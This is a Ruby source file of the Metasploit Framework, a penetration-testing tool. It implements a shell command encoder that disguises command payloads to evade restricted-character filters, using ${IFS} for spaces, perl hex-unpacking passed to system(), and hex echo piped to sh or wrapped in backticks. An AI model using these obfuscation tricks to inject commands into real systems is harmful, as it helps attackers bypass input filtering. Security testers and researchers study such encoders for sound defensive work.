153 lines
3.4 KiB
Ruby
153 lines
3.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Encoder
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# Has some issues, but overall it's pretty good
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Rank = GoodRanking
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def initialize
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super(
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'Name' => 'Generic Shell Variable Substitution Command Encoder',
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'Version' => '$Revision$',
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'Description' => %q{
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This encoder uses standard Bourne shell variable substitution
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tricks to avoid commonly restricted characters.
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},
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'Author' => 'hdm',
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'Arch' => ARCH_CMD)
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end
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#
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# Encodes the payload
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#
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def encode_block(state, buf)
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# Skip encoding for empty badchars
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if(state.badchars.length == 0)
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return buf
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end
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if (state.badchars.include?("-"))
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# Then neither of the others will work. Get rid of spaces and hope
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# for the best. This obviously won't work if the command already
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# has other badchars in it, in which case we're basically screwed.
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if (state.badchars.include?(" "))
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buf.gsub!(/\s/, '${IFS}')
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end
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else
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# Without an escape character we can't escape anything, so echo
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# won't work. Try perl.
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if (state.badchars.include?("\\"))
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buf = encode_block_perl(state,buf)
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else
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buf = encode_block_bash_echo(state,buf)
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end
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end
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return buf
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end
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#
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# Uses the perl command to hex encode the command string
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#
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def encode_block_perl(state, buf)
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hex = buf.unpack("H*")
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cmd = 'perl -e '
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qot = ',-:.=+!@#$%^&'
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# Find a quoting character to use
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state.badchars.unpack('C*') { |c| qot.delete(c.chr) }
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# Throw an error if we ran out of quotes
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raise RuntimeError if qot.length == 0
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sep = qot[0].chr
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# Convert spaces to IFS...
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if (state.badchars.include?(" "))
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cmd.gsub!(/\s/, '${IFS}')
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end
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# Can we use single quotes to enclose the command string?
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if (state.badchars.include?("'"))
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if (state.badchars.match(/\(|\)/))
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# No paranthesis...
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raise RuntimeError
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end
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cmd << "system\\(pack\\(qq#{sep}H\\*#{sep},qq#{sep}#{hex}#{sep}\\)\\)"
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else
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if (state.badchars.match(/\(|\)/))
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if (state.badchars.include?(" "))
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# No spaces allowed, no paranthesis, give up...
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raise RuntimeError
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end
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cmd << "'system pack qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}'"
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else
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cmd << "'system(pack(qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}))'"
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end
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end
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return cmd
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end
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#
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# Uses bash's echo -ne command to hex encode the command string
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#
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def encode_block_bash_echo(state, buf)
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hex = ''
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# Can we use single quotes to enclose the echo arguments?
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if (state.badchars.include?("'"))
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hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join
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else
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hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'"
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end
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# Are pipe characters restricted?
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if (state.badchars.include?("|"))
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# How about backticks?
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if (state.badchars.include?("`"))
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# Last ditch effort, dollar paren
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if (state.badchars.include?("$") or state.badchars.include?("("))
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raise RuntimeError
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else
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buf = "$(/bin/echo -ne #{hex})"
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end
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else
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buf = "`/bin/echo -ne #{hex}`"
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end
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else
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buf = "/bin/echo -ne #{hex}|sh"
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end
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# Remove spaces from the command string
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if (state.badchars.include?(" "))
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buf.gsub!(/\s/, '${IFS}')
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end
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return buf
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end
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end
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